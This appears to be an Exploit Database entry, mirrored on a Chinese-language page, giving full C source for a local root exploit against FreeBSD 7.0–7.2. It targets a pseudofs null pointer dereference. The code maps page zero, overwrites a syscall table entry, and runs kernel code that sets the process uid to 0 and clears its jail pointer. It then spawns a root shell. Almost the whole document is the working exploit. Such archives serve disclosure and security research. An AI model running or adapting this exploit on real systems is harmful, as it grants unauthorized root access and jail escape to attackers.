FreeBSD – ‘pseudofs’ Null Pointer Dereference Privilege Escalation

• Exploit Database
• 31 阅读

• 作者： Babcia Padlina
  日期： 2010-10-04
• 类别：

  • local
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/15206/

• /*
   * source: https://www.securityfocus.com/bid/43060/info
   * 18.08.2010, babcia padlina
   * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
   *
   *
   * to obtain SYSENT8_SYCALL_ADDR, run:
   * $ kgdb /boot/kernel/kernel
   * (kgdb) print &sysent[8].sy_call
   */
  
  #define SYSENT8_SYCALL_ADDR	0xc0c4afa4 	/* FreeBSD 7.2-RELEASE */
  
  #define _KERNEL
  
  #include <sys/param.h>
  #include <sys/conf.h>
  #include <sys/ucred.h>
  
  #include <stdio.h>
  #include <unistd.h>
  #include <fcntl.h>
  #include <string.h>
  #include <stdlib.h>
  
  #include <sys/types.h>
  #include <sys/mman.h>
  #include <sys/proc.h>
  #include <sys/types.h>
  #include <sys/extattr.h>
  #include <sys/uio.h>
  #include <sys/turnstile.h>
  #include <sys/queue.h>
  
  struct turnstile {
  	struct mtx ts_lock;
  	struct threadqueue ts_blocked[2];
  	struct threadqueue ts_pending;
  	LIST_ENTRY(turnstile) ts_hash;
  	LIST_ENTRY(turnstile) ts_link;
  	LIST_HEAD(, turnstile) ts_free;
  	struct lock_object *ts_lockobj;
  	struct thread *ts_owner;
  };
  
  volatile int gotroot = 0;
  
  static void kernel_code(void) {
  	struct thread *thread;
  
  	asm(
  		"movl %%fs:0, %0"
  		: "=r"(thread)
  	);
  
  	/*
  	 * kernel_code() is called while thread is in critical section,
  	 * so we need to unset td_critnest flag to prevent panic after
  	 * nearest user mode page fault.
  	 */
  	thread->td_critnest = 0;
  	thread->td_proc->p_ucred->cr_uid = 0;
  	thread->td_proc->p_ucred->cr_prison = NULL;
  	gotroot = 1;
  
  	return;
  }
  
  int main(int argc, char **argv) {
  	struct turnstile *ts = 0;
  
  	if (access("/proc/curproc/cmdline", R_OK)) {
  		printf("procfs not found.\n");
  		return -1;
  	}
  
  	if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
  		printf("mmap 0x0 failed.\n");
  		return -1;
  	}
  
  	memset(0, 0, PAGE_SIZE);
  
  	/* 
  	 * we need to call dummy extattr_get_link() here, to make
  	 * libc memory pages accessible without user mode page fault. without
  	 * it, panic will occur after next extattr_get_link().
  	 */
  	extattr_get_link("/dev/null", 0, 0, 0, 0);
  
  	/* overwrite sysent[8].sy_call with 0x0 */
  	ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
  	extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);
  
  	*(char *)0x0 = 0x90;
  	*(char *)0x1 = 0xe9;
  	*(unsigned long *)0x2 = &kernel_code;
  
  	asm(
  		"movl $0x8, %eax;"
  		"int $0x80;"
  	);
  
  	if (gotroot) {
  		printf("oops, I did it again.\n");
  		setuid(0);
  		setgid(0);
  		execl("/bin/sh", "sh", NULL);
  	}
  
  	printf("exploit failed.\n");
  
  	return 0;
  }